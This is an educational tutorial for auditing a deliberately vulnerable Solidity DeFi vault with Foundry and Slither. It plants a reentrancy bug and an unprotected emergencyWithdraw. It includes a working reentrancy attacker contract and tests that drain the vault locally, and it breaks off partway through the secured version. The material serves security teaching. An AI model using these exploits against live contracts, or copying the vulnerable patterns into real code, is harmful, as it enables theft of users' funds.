Audit a Vulnerable DeFi Vault

Exploit and fix reentrancy and access control bugs in a DeFi vault.

Introduction

30 Second Summary

In 2025, smart contract exploits caused over $900 million in losses across 122 incidents. The bugs behind these hacks are not exotic. They follow predictable patterns that auditors know how to find, prove, and fix.

In this project, you will build a complete security audit workflow for a vulnerable DeFi lending vault. You will exploit the contract, then secure it and verify your fixes hold under thousands of random inputs.

What You'll Build

A smart contract security audit that takes a vulnerable vault from exploitable to production-hardened using Foundry and Slither.

By the end of this project, you'll have:

  • A vulnerable vault contract with real-world bug patterns (reentrancy and missing access control) and a working exploit that drains it.
  • A secured vault using OpenZeppelin ReentrancyGuard and AccessControl, verified by static analysis and exploit re-runs that now revert.
  • A fuzz testing suite that verifies the vault's solvency property holds across 500 runs of random deposit and withdraw sequences.
  • Secret Mission: exploit a share-based vault with a first-depositor attack that manipulates pricing through a single transaction.

Are there any prerequisites?

You should be comfortable with basic Solidity (functions, mappings, modifiers, msg.sender) and understand how Ethereum transactions work. You also need comfort with the command line.

Before We Start

Smart contract security auditing follows a repeatable process: find vulnerabilities, prove they're exploitable, fix them, and verify the fixes hold. In this project, you'll walk through that exact process on a vulnerable DeFi vault.

Before you can write exploits and run static analysis, you need the right toolchain installed. This step gets Foundry (your Solidity testing framework), Slither (your static analyzer), and VS Code ready to go.

In this step, get ready to:
  • Install Foundry for compiling, testing, and fuzzing Solidity contracts.
  • Install Python 3.10+ and Slither for static vulnerability detection.
  • Set up VS Code with a Solidity extension for syntax highlighting.
Install Foundry

Foundry is a Solidity development toolkit used by professional audit firms. It includes forge (build and test), cast (interact with contracts), anvil (local node), and chisel (Solidity REPL).

Why Foundry over Hardhat?

Foundry is the industry standard for security auditing. Tests are written in Solidity (the same language as the contracts you're auditing), execution is faster than JavaScript-based frameworks, and built-in fuzzing eliminates the need for separate tools.

Every major audit firm (Trail of Bits, Sherlock, Code4rena) uses Foundry in their workflows.

Foundry's installer is a bash script, so the install process differs by operating system.

macOS

  • Press Cmd+Space to open Spotlight, type Terminal, and press Enter to open it.
  • Install Foundry by running this command:
curl -L https://foundry.paradigm.xyz | bash
  • Close your terminal completely and reopen it.
  • Download the Foundry toolchain by running:
foundryup

You should see output showing forge, cast, anvil, and chisel being installed.

Windows

Foundry requires a bash environment on Windows. The Foundry team recommends Git Bash for this purpose.

  • Download the Git for Windows installer from git-scm.com/downloads/win.
  • Run the installer and accept all the default options.
  • Press the Windows key, type Git Bash, and press Enter to open it.
  • Install Foundry by running this command:
curl -L https://foundry.paradigm.xyz | bash
  • Close Git Bash completely and reopen it.
  • Download the Foundry toolchain by running:
foundryup

You should see output showing forge, cast, anvil, and chisel being installed.

  • Verify Foundry installed correctly by running:
forge --version

✔️ I see a version number

Foundry is installed and ready. Move on to the next substep.

ⓧ Command not found

The terminal cannot find forge on your PATH.

  • Make sure you closed and reopened your terminal after running the install script.
  • Try running foundryup again. If it also says command not found, the install script did not complete.
  • Re-run the curl command from scratch, then close and reopen your terminal before running foundryup.

Help me troubleshoot my Foundry installation.

Install Python and Slither

Slither is a static analysis tool built by Trail of Bits. It scans Solidity source code for known vulnerability patterns without executing anything. Slither requires Python 3.10 or higher.

  • Check your Python version by running:
python3 --version

✔️ I see version 3.10 or higher

Your Python version is compatible with Slither. Continue to the Slither install below.

ⓧ I see an older version

Slither requires Python 3.10 or higher. Your current version is too old.

  • Download the latest Python installer from python.org/downloads.
  • Run the installer. On Windows, check the box that says Add Python to PATH before clicking Install Now.
  • Close and reopen your terminal, then run python3 --version again to confirm the new version.

macOS default Python

macOS often ships with an older Python. After installing a newer version from python.org, you may need to use python3.12 or python3.11 explicitly if python3 still points to the old version.

ⓧ Command not found

Python is not installed on your system.

  • Download the latest Python installer from python.org/downloads.
  • Run the installer. On Windows, check the box that says Add Python to PATH before clicking Install Now.
  • Close and reopen your terminal, then run python3 --version to confirm it shows 3.10 or higher.
  • Install Slither by running:
pip install slither-analyzer

What does this command do?

This uses Python's package manager (pip) to download and install the slither-analyzer package from PyPI. Slither is maintained by Trail of Bits, a leading smart contract security firm.

  • Verify Slither installed correctly by running:
slither --version

✔️ I see a version number

Slither is ready. Move on to the next substep.

ⓧ Command not found

The slither binary is not on your PATH.

  • Try running the install with the full Python module path:
python3 -m pip install slither-analyzer
  • Close and reopen your terminal, then try slither --version again.
  • If it still fails, check that Python's Scripts (Windows) or bin (macOS/Linux) directory is in your system PATH.

Help me get Slither working on my system.

Set up VS Code with a Solidity extension

VS Code gives you syntax highlighting, inline errors, and easy file navigation for your Solidity contracts.

  • Press Cmd+Space (macOS) or the Windows key (Windows) to open your search bar.
  • Type Visual Studio Code and press Enter to open it.
  • Open the Extensions panel by pressing Cmd+Shift+X (macOS) or Ctrl+Shift+X (Windows).
  • Type Solidity in the search bar at the top of the panel.
  • Find the extension called Solidity by Nomic Foundation (it has experimental support for Foundry projects).
  • Click Install.

Why this extension?

The Nomic Foundation Solidity extension provides syntax highlighting, go-to-definition, and inline compiler errors for .sol files. It has experimental support for Foundry projects, which is exactly what you'll be building.

Don't have VS Code installed?

Download it from code.visualstudio.com. Run the installer, then follow the steps above to open it and install the Solidity extension.

Help me install VS Code and the Solidity extension.

Your toolchain is ready. Next up, you'll write the vulnerable vault contract that contains real-world bug patterns for you to exploit.

Set Up the Project

Before you can find and exploit vulnerabilities, you need a properly structured project. Foundry gives you a complete testing framework out of the box, but it needs the right configuration to support fuzz testing and OpenZeppelin imports.

In this step, you'll scaffold a Foundry project, install the OpenZeppelin contracts library, and configure your build settings for the security testing workflow ahead.

In this step, get ready to:
  • Initialize a Foundry project.
  • Install OpenZeppelin Contracts.
  • Configure remappings and testing settings.
Initialize the Foundry project

Foundry's forge init command scaffolds a complete project with folders for source code, tests, scripts, and dependencies.

  • Move to your Desktop by running this command:
cd ~/Desktop
  • Create your Foundry project and move into it by running these commands:
forge init vulnerable-vault && cd vulnerable-vault

What does this command do?

forge init vulnerable-vault creates a new folder called vulnerable-vault with the standard Foundry project structure.

  • src/ holds your Solidity source contracts.
  • test/ holds your Foundry test files.
  • lib/ holds installed dependencies (like forge-std).
  • foundry.toml is the project configuration file.
  • Confirm the project was created by running:
ls

You should see src, test, script, lib, and foundry.toml in the output.

Don't see the project files?

Make sure you ran both parts of the command. The && ensures the second command (cd) only runs if the first (forge init) succeeded.

If you see a forge: command not found error, restart your terminal and run foundryup again.

help me troubleshoot my forge init command

  • Open the vulnerable-vault folder in VS Code by clicking File in the top menu bar.
  • Click Open Folder.
  • Select the vulnerable-vault folder on your Desktop, then click Open.
Install OpenZeppelin Contracts

OpenZeppelin provides battle-tested security primitives like ReentrancyGuard and AccessControl. You'll use these to fix the vulnerable vault later in the project.

  • Install OpenZeppelin Contracts by running this command in your terminal:
forge install OpenZeppelin/openzeppelin-contracts@v5.6.1 --no-commit

What does this command do?

forge install downloads a dependency into your lib/ folder as a git submodule.

The @v5.6.1 pins the exact version so your project stays reproducible. The --no-commit flag prevents an automatic git commit, keeping your history clean.

  • Verify the installation by running:
ls lib/openzeppelin-contracts

You should see folders like contracts, scripts, and a package.json file listed.

Seeing a git error?

The forge install command requires a git repository. If you see a git-related error, confirm you're inside the vulnerable-vault folder (which forge init initialized as a git repo).

Run pwd to check your current directory. It should end with vulnerable-vault.

help me fix my forge install error

Configure remappings and project settings

Foundry needs to know where to find imported libraries when compiling your contracts. A remappings.txt file maps import paths like @openzeppelin/contracts/ to the actual folder locations in lib/.

  • In VS Code, create a new file in the root of your vulnerable-vault folder called remappings.txt.
  • Add the following content:
@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/
forge-std/=lib/forge-std/src/
  • Now open foundry.toml (already in the project root) and replace its entire contents with:
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc = "0.8.20"

[fuzz]
runs = 1000

[invariant]
runs = 500
depth = 50
fail_on_revert = false

What do these settings do?

  • remappings.txt tells the Solidity compiler that @openzeppelin/contracts/ points to the library you just installed, and forge-std/ points to Foundry's testing utilities.
  • solc = "0.8.20" pins the Solidity compiler version to match OpenZeppelin's requirements.
  • [fuzz] runs = 1000 tells Foundry to run each fuzz test with 1000 random inputs.
  • [invariant] configures invariant testing: 500 runs, each 50 calls deep, without failing on reverts.
  • Save both files.
  • Verify the configuration works by running this in your terminal:
forge build

You should see Compiler run successful in the output. This confirms Foundry can find your dependencies and compile with the configured settings.

Seeing a compilation error?

Check that your remappings.txt file is in the project root (same level as foundry.toml), not inside src/ or another subfolder.

Also confirm there are no typos in the remapping paths. The = sign separates the import prefix from the file path, with no spaces around it.

help me fix my forge build error

✔️ Awesome, I've got everything!

Great. Double check you've saved both remappings.txt and foundry.toml.

ⓧ I'd like to double check the full code

Here's what each file should look like:

@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/
forge-std/=lib/forge-std/src/
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc = "0.8.20"

[fuzz]
runs = 1000

[invariant]
runs = 500
depth = 50
fail_on_revert = false

Your project skeleton is ready. Next up, you'll write the vulnerable vault contract with two intentional bugs that mirror real exploits found in DeFi protocols.

Write the Vulnerable Vault

Your Foundry project is initialized and OpenZeppelin Contracts are installed. Now it's time to write the smart contract you'll be auditing throughout this project.

In this step, you'll create a DeFi vault contract that lets users deposit and withdraw ETH. You'll intentionally plant two real-world vulnerabilities that professional auditors encounter daily.

In this step, get ready to:
  • Write a vault contract with deposit and withdraw functions.
  • Plant a reentrancy vulnerability in the withdraw function.
  • Plant a missing access control bug in the emergency withdraw function.
Create the vault contract file

A DeFi vault is a smart contract that holds ETH on behalf of users. Users deposit funds and can withdraw them later.

What is a DeFi vault?

Think of a vault like a shared bank account on the blockchain. Each user's balance is tracked in a mapping, and the contract holds the actual ETH.

Vaults are one of the most common targets for attackers because they hold pooled funds. A single bug can let an attacker drain every user's deposit in one transaction.

  • Create a new file called src/VulnerableVault.sol inside your vulnerable-vault project folder.
  • Paste the following code to define the contract shell, state variables, events, and the deposit() function:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableVault {
    mapping(address => uint256) public balances;
    uint256 public totalDeposits;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Must deposit something");
        balances[msg.sender] += msg.value;
        totalDeposits += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

What does this code do?

  • balances is a mapping that tracks how much ETH each address has deposited.
  • totalDeposits tracks the total ETH the vault should be holding across all users.
  • deposit() accepts ETH via payable, credits the sender's balance, and emits a Deposit event.
  • This function is correctly implemented. The bugs come next.

You won't see a change yet. The next chunk adds the vulnerable withdraw function.

Add the withdraw function with a reentrancy bug

The withdraw() function is where you'll plant the first vulnerability. It sends ETH to the caller before updating their balance in storage.

  • Below the deposit() function's closing brace, add the following withdraw() function:
    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // BUG: Sends ETH before updating state (reentrancy vulnerability)
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= amount;
        totalDeposits -= amount;
        emit Withdraw(msg.sender, amount);
    }

What is a reentrancy attack?

When a contract sends ETH with call{value: amount}(""), it transfers execution control to the recipient. If the recipient is another contract, its receive() function runs automatically.

A malicious contract can use that receive() function to call withdraw() again before the balance is updated. Since balances[msg.sender] still shows the old value, the require check passes again. This loop repeats until the vault is completely drained.

You won't see a change yet. The next chunk completes the contract.

Add the emergency withdraw and helper functions

The emergencyWithdraw() function has the second bug. It lets anyone drain the entire vault because there is no access control restricting who can call it.

  • Below the withdraw() function, add the remaining functions and the contract's closing brace:
    function emergencyWithdraw() external {
        // BUG: No access control - anyone can drain the vault
        uint256 balance = address(this).balance;
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        totalDeposits = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

What does this code do?

  • emergencyWithdraw() sends the vault's entire ETH balance to whoever calls it. In a real contract, this would be restricted to an admin or owner.
  • getBalance() is a simple view function that returns the vault's current ETH balance.
  • The closing } ends the VulnerableVault contract definition.
  • Save src/VulnerableVault.sol.
  • Compile the contract by running:
forge build
  • You should see output indicating successful compilation with no errors.

Seeing a compilation error?

  • Check that you closed every opening brace. The contract needs a final } at the very end of the file.
  • Verify the pragma line reads pragma solidity ^0.8.20; exactly. A mismatch with foundry.toml causes compilation failures.
  • Make sure the file is saved inside the src/ directory, not the project root.

Still stuck? Help me debug a forge build compilation error for my VulnerableVault contract.

✔️ Awesome, I've got everything!

Great. Double check you've saved your file before moving on.

ⓧ I'd like to double check the full code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableVault {
    mapping(address => uint256) public balances;
    uint256 public totalDeposits;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Must deposit something");
        balances[msg.sender] += msg.value;
        totalDeposits += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // BUG: Sends ETH before updating state (reentrancy vulnerability)
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= amount;
        totalDeposits -= amount;
        emit Withdraw(msg.sender, amount);
    }

    function emergencyWithdraw() external {
        // BUG: No access control - anyone can drain the vault
        uint256 balance = address(this).balance;
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        totalDeposits = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Your vulnerable vault is written and compiling cleanly. Next up, you'll write an attacker contract that exploits both of these bugs to drain the vault completely.

Exploit the Vault

You have a vault full of bugs. Now it is time to think like an attacker.

In this step, you will write a malicious contract that exploits the reentrancy vulnerability to recursively drain the vault. Then you will write Foundry tests that prove both vulnerabilities are exploitable. This is exactly how professional auditors write proof-of-concept exploits.

In this step, get ready to:
  • Write a malicious Attacker contract that re-enters the vault during withdrawal.
  • Write Foundry tests proving both the reentrancy and access control vulnerabilities.
  • Run the exploit tests and observe the full attack trace.
Write the attacker contract

A reentrancy attack requires a second contract that re-enters the victim during an ETH transfer. When the vault sends ETH to the attacker, Solidity triggers the attacker's receive() function. Inside that function, the attacker calls withdraw() again before the vault has updated its balance.

  • Create a new file called src/Attacker.sol in your vulnerable-vault project and paste the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {VulnerableVault} from "./VulnerableVault.sol";

contract Attacker {
    VulnerableVault public vault;
    uint256 public attackAmount;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }

    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        attackAmount = msg.value;

        // Deposit to get a balance in the vault
        vault.deposit{value: msg.value}();

        // Trigger withdrawal - this will re-enter via receive()
        vault.withdraw(msg.value);
    }

    receive() external payable {
        // Re-enter the vault if it still has funds
        if (address(vault).balance >= attackAmount) {
            vault.withdraw(attackAmount);
        }
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

What does this code do?

The attack() function deposits ETH into the vault to establish a legitimate balance, then immediately calls withdraw(). This triggers the vault to send ETH back.

When that ETH arrives, the receive() function fires automatically. It checks if the vault still has funds and calls withdraw() again. Because the vault has not yet decremented the attacker's balance (that line comes after the transfer), the vault happily sends more ETH. This loop continues until the vault is empty.

  • Save src/Attacker.sol.

Seeing a compilation error?

Make sure the import path matches exactly: import {VulnerableVault} from "./VulnerableVault.sol";. Both files must be in the src/ directory.

Help me debug my Attacker.sol compilation error

Write the exploit tests

An exploit without a test is just a theory. Foundry tests let you prove the attack drains real value by asserting exact balances before and after.

  • Create a new file called test/ExploitTest.t.sol and paste the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {Attacker} from "../src/Attacker.sol";

contract ExploitTest is Test {
    VulnerableVault public vault;
    Attacker public attacker;
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public eve = makeAddr("eve");

    function setUp() public {
        vault = new VulnerableVault();

        // Fund users
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(eve, 1 ether);

        // Alice and Bob deposit into the vault
        vm.prank(alice);
        vault.deposit{value: 10 ether}();

        vm.prank(bob);
        vault.deposit{value: 10 ether}();

        // Deploy attacker contract
        attacker = new Attacker(address(vault));
    }
}

What does this setup do?

The setUp() function runs before every test. It deploys a fresh vault, gives Alice and Bob 10 ETH each, and has them deposit into the vault. This means the vault starts with 20 ETH of real user funds.

Eve is the attacker with only 1 ETH. The vm.deal() and vm.prank() calls are Foundry cheatcodes that set balances and impersonate addresses in tests.

  • Add the reentrancy exploit test below the setUp() function, inside the ExploitTest contract:
    function test_ReentrancyExploit() public {
        uint256 vaultBalanceBefore = address(vault).balance;
        console.log("Vault balance before attack:", vaultBalanceBefore);

        // Eve attacks with 1 ETH
        vm.prank(eve);
        attacker.attack{value: 1 ether}();

        uint256 vaultBalanceAfter = address(vault).balance;
        uint256 attackerBalance = address(attacker).balance;

        console.log("Vault balance after attack:", vaultBalanceAfter);
        console.log("Attacker balance:", attackerBalance);

        // The attacker drained the vault
        assertEq(vaultBalanceAfter, 0);
        assertEq(attackerBalance, 21 ether);
    }

What does this test prove?

Eve deposits just 1 ETH through the attacker contract, but the reentrancy loop drains the entire vault. The assertion assertEq(attackerBalance, 21 ether) proves the attacker ends up with all 20 ETH from Alice and Bob, plus her original 1 ETH deposit.

The console.log statements print the vault balance before and after in the test trace, making the drain visible in the output.

  • Add the access control exploit test below test_ReentrancyExploit(), still inside the ExploitTest contract:
    function test_UnauthorizedEmergencyWithdraw() public {
        uint256 vaultBalanceBefore = address(vault).balance;

        // Eve (random user) can call emergencyWithdraw
        vm.prank(eve);
        vault.emergencyWithdraw();

        // Eve drained all funds
        assertEq(address(vault).balance, 0);
        assertEq(eve.balance, 1 ether + vaultBalanceBefore);
    }

What does this test prove?

This test shows that anyone can call emergencyWithdraw() and drain the vault. Eve is not an admin or owner. She is just a random address with 1 ETH. After calling emergencyWithdraw(), she receives all 20 ETH of vault funds on top of her existing balance.

  • Save test/ExploitTest.t.sol.

Getting an import error for forge-std?

Check that your remappings.txt file contains forge-std/=lib/forge-std/src/ and that the lib/forge-std/ directory exists (it was created by forge init).

Help me fix my forge-std import error

✔️ Awesome, I've got everything!

Great. Double check you have saved both files before running the tests.

ⓧ I'd like to double check the full code

Here is the complete src/Attacker.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {VulnerableVault} from "./VulnerableVault.sol";

contract Attacker {
    VulnerableVault public vault;
    uint256 public attackAmount;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }

    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        attackAmount = msg.value;

        // Deposit to get a balance in the vault
        vault.deposit{value: msg.value}();

        // Trigger withdrawal - this will re-enter via receive()
        vault.withdraw(msg.value);
    }

    receive() external payable {
        // Re-enter the vault if it still has funds
        if (address(vault).balance >= attackAmount) {
            vault.withdraw(attackAmount);
        }
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

Here is the complete test/ExploitTest.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {Attacker} from "../src/Attacker.sol";

contract ExploitTest is Test {
    VulnerableVault public vault;
    Attacker public attacker;
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public eve = makeAddr("eve");

    function setUp() public {
        vault = new VulnerableVault();

        // Fund users
        vm.deal(alice, 10 ether);
        vm.deal(bob, 10 ether);
        vm.deal(eve, 1 ether);

        // Alice and Bob deposit into the vault
        vm.prank(alice);
        vault.deposit{value: 10 ether}();

        vm.prank(bob);
        vault.deposit{value: 10 ether}();

        // Deploy attacker contract
        attacker = new Attacker(address(vault));
    }

    function test_ReentrancyExploit() public {
        uint256 vaultBalanceBefore = address(vault).balance;
        console.log("Vault balance before attack:", vaultBalanceBefore);

        // Eve attacks with 1 ETH
        vm.prank(eve);
        attacker.attack{value: 1 ether}();

        uint256 vaultBalanceAfter = address(vault).balance;
        uint256 attackerBalance = address(attacker).balance;

        console.log("Vault balance after attack:", vaultBalanceAfter);
        console.log("Attacker balance:", attackerBalance);

        // The attacker drained the vault
        assertEq(vaultBalanceAfter, 0);
        assertEq(attackerBalance, 21 ether);
    }

    function test_UnauthorizedEmergencyWithdraw() public {
        uint256 vaultBalanceBefore = address(vault).balance;

        // Eve (random user) can call emergencyWithdraw
        vm.prank(eve);
        vault.emergencyWithdraw();

        // Eve drained all funds
        assertEq(address(vault).balance, 0);
        assertEq(eve.balance, 1 ether + vaultBalanceBefore);
    }
}
Run the exploit tests

The moment of truth. Running the tests executes the actual attack on a local EVM and proves the vault can be drained.

  • Run the exploit tests with full trace output by running this command:
forge test --match-contract ExploitTest -vvvv

What does this command do?

  • forge test runs all tests in the project.
  • --match-contract ExploitTest filters to only run tests inside the ExploitTest contract.
  • -vvvv sets verbosity to level 4, which prints execution traces for all tests. This shows every contract call in the reentrancy chain.
  • You should see both tests passing with [PASS] next to each test name.

What should I see in the trace?

For test_ReentrancyExploit, the trace shows the attacker contract calling withdraw() over and over. Each call is indented deeper, showing how the re-entry nests. The console log lines print the vault balance dropping from 20 ETH to 0.

For test_UnauthorizedEmergencyWithdraw, the trace is simpler. Eve calls emergencyWithdraw() once and drains everything in a single transfer.

Tests failing or not compiling?

  • If you see a compiler error, make sure the import paths in ExploitTest.t.sol use ../src/ (tests are in test/, source in src/).
  • If test_ReentrancyExploit fails on the assertion, check that your Attacker.sol receive() function calls vault.withdraw(attackAmount) and not a different amount.
  • If you see a gas error, the reentrancy loop may be running correctly but hitting the block gas limit. Ensure attackAmount is set to msg.value in the attack() function.

Help me debug my failing ExploitTest

You have proven both vulnerabilities are exploitable. Next up, you will run Slither static analysis to see if automated tooling can catch these bugs without writing a single exploit.

Analyze with Slither

In the previous step, you proved the vault is exploitable by writing reentrancy and access control attacks that drain all funds. You know the bugs are real because your Foundry tests pass.

But how would you find these bugs in the first place if you didn't already know where to look? Professional auditors use static analysis tools to automatically scan code for known vulnerability patterns before they ever write an exploit.

In this step, get ready to:
  • Run Slither against the vulnerable vault contract.
  • Read and interpret Slither's severity levels.
  • Document the findings in a standard audit format.
Run Slither on the vulnerable vault

Slither is a static analysis framework built by Trail of Bits. It reads your Solidity source code and checks it against dozens of detectors for common vulnerability patterns, without ever deploying or running the contract.

  • Run Slither on your vulnerable vault contract with the OpenZeppelin remapping by running this command:
slither src/VulnerableVault.sol --solc-remaps "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"

What does this command do?

  • slither src/VulnerableVault.sol tells Slither to analyze only the vault contract file.
  • --solc-remaps tells the Solidity compiler where to find imported libraries. Without this flag, Slither cannot resolve the OpenZeppelin import paths in your project.

Why use static analysis alongside exploit tests?

Your exploit tests prove specific bugs are exploitable. Static analysis is different. It scans for entire classes of known vulnerabilities across the whole codebase in seconds.

In a professional audit, you run static analysis first to get a broad overview of potential issues, then write targeted exploit PoCs for the findings that matter most. We reversed the order in this project so you could understand the bugs before seeing the tool's output.

Slither produces a list of findings directly in your terminal. You should see output that includes several detectors firing.

Seeing a compilation error?

  • Make sure you are running the command from inside the vulnerable-vault directory. Slither needs to find the lib/ folder with your dependencies.
  • Confirm solc version 0.8.20 is available. Slither uses solc under the hood. If needed, install it with solc-select install 0.8.20 && solc-select use 0.8.20.
  • Check that remappings.txt exists in your project root. Slither reads this file to resolve imports if the --solc-remaps flag alone does not work.

Help me fix a Slither compilation error in my Foundry project

Read Slither's findings

Slither groups its findings by severity level. Each finding includes the detector name, the impacted function, and the exact lines of code involved.

Look through your terminal output for these two critical findings:

  • reentrancy-eth (High severity, Medium confidence) on the withdraw() function. Slither detected that an external call sends ETH before state variables (balances and totalDeposits) are updated.
  • Missing access control (Medium severity) on the emergencyWithdraw() function. Slither flagged that any external caller can execute this function and drain the contract.

What do Slither's severity levels mean?

  • High means direct loss of funds or complete contract compromise.
  • Medium means conditional loss of funds or serious logic errors.
  • Low means best-practice violations that could become problematic.
  • Informational means style or naming issues with no security impact.

When triaging results, focus on High and Medium findings first. Low and Informational findings are still worth reviewing but rarely represent exploitable bugs.

Slither may report additional findings

You will likely see other detectors fire (such as pragma version warnings or naming convention suggestions). These are Informational-level findings you can safely ignore for this project.

Document the findings

Professional audit reports document each finding in a consistent format. This makes it easy for developers to understand and prioritize fixes.

  • Review the following summary of your two critical findings:
## Finding 1: Reentrancy in withdraw()
- Detector: reentrancy-eth
- Severity: High
- Confidence: Medium
- Location: src/VulnerableVault.sol, withdraw() function
- Description: External call sends ETH via msg.sender.call{value: amount}
  before balances[msg.sender] and totalDeposits are updated.
- Recommendation: Apply the Checks-Effects-Interactions pattern. Update
  state variables before making the external call. Add a reentrancy guard.

## Finding 2: Missing Access Control on emergencyWithdraw()
- Detector: missing access control
- Severity: Medium
- Location: src/VulnerableVault.sol, emergencyWithdraw() function
- Description: Any address can call emergencyWithdraw() and drain the
  entire contract balance.
- Recommendation: Add role-based access control (e.g., OpenZeppelin
  AccessControl with an ADMIN_ROLE) to restrict who can call this function.

What does this document cover?

  • Detector names the specific Slither rule that triggered the finding.
  • Severity tells the development team how urgently they need to fix the issue.
  • Location pinpoints the exact file and function so the developer can jump straight to the problem.
  • Recommendation gives a concrete fix direction. In the next step, you will implement both of these recommendations.

Slither confirmed what your exploit tests already proved. Both the reentrancy vulnerability and the missing access control are real, flagged automatically, and now documented. Next up, you will fix both bugs by building a secured version of the vault.

Secure the Vault

You proved the vault is broken. Now it's time to switch from attacker to defender and fix the vulnerabilities using industry-standard patterns.

In this step, you will write a secured version of the vault that applies three layers of defense: the Checks-Effects-Interactions pattern, OpenZeppelin's ReentrancyGuard, and role-based access control. Then you will prove the fixes work by re-running the same attack scenarios and watching them fail.

In this step, get ready to:
  • Write a secured vault contract with reentrancy protection and access control.
  • Write tests proving the exploits now revert.
  • Run Slither to confirm the static analysis findings are resolved.
Write the secured vault contract

The secured vault applies the same three fixes that a professional auditor would recommend in a findings report.

  • Create a new file called src/SecureVault.sol in your vulnerable-vault project and add the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";

contract SecureVault is ReentrancyGuard, AccessControl {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    mapping(address => uint256) public balances;
    uint256 public totalDeposits;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    constructor() {
        _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _grantRole(ADMIN_ROLE, msg.sender);
    }

    function deposit() external payable nonReentrant {
        require(msg.value > 0, "Must deposit something");
        balances[msg.sender] += msg.value;
        totalDeposits += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // FIX: Update state BEFORE external call (Checks-Effects-Interactions)
        balances[msg.sender] -= amount;
        totalDeposits -= amount;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        emit Withdraw(msg.sender, amount);
    }

    function emergencyWithdraw() external onlyRole(ADMIN_ROLE) {
        uint256 balance = address(this).balance;
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Transfer failed");
        totalDeposits = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

What does this code do?

This contract applies three defenses that professional auditors recommend:

  • Checks-Effects-Interactions pattern: In withdraw(), the balance is now subtracted before the ETH transfer. Even if the recipient re-enters, the balance is already zero, so the require check fails.
  • ReentrancyGuard: The nonReentrant modifier on deposit() and withdraw() adds a lock that reverts if the function is called again before the first call finishes. This is a belt-and-suspenders safeguard on top of Checks-Effects-Interactions.
  • AccessControl: The onlyRole(ADMIN_ROLE) modifier on emergencyWithdraw() restricts the function to addresses that hold the admin role. Only the deployer gets this role in the constructor.

Why use both Checks-Effects-Interactions and ReentrancyGuard?

Checks-Effects-Interactions is the primary defense. It makes reentrancy logically impossible because state is already updated before any external call. ReentrancyGuard is a secondary layer that catches edge cases in more complex contracts where you might accidentally introduce a new external call later.

Professional auditors recommend both because defense in depth costs almost nothing in gas but significantly reduces the chance of a future regression.

  • Save src/SecureVault.sol.
  • Verify it compiles by running:
forge build

You should see a successful compilation message with no errors.

Seeing compilation errors?

  • Check that your remappings.txt file contains @openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/. Without it, Solidity cannot find the OpenZeppelin imports.
  • Confirm the lib/openzeppelin-contracts folder exists. If it does not, you may need to re-run the install from Step 2.

Still stuck? Help me debug my SecureVault.sol compilation error

Write tests proving the fixes work

The best way to prove a fix is effective is to replay the exact same attack and show it now fails. You will write a new test file that deploys SecureVault and attempts both exploits.

  • Create a new file called test/SecureVaultTest.t.sol and add the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {SecureVault} from "../src/SecureVault.sol";
import {Attacker} from "../src/Attacker.sol";
import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";

contract SecureAttacker {
    SecureVault public vault;
    uint256 public attackAmount;

    constructor(address _vault) {
        vault = SecureVault(payable(_vault));
    }

    function attack() external payable {
        attackAmount = msg.value;
        vault.deposit{value: msg.value}();
        vault.withdraw(msg.value);
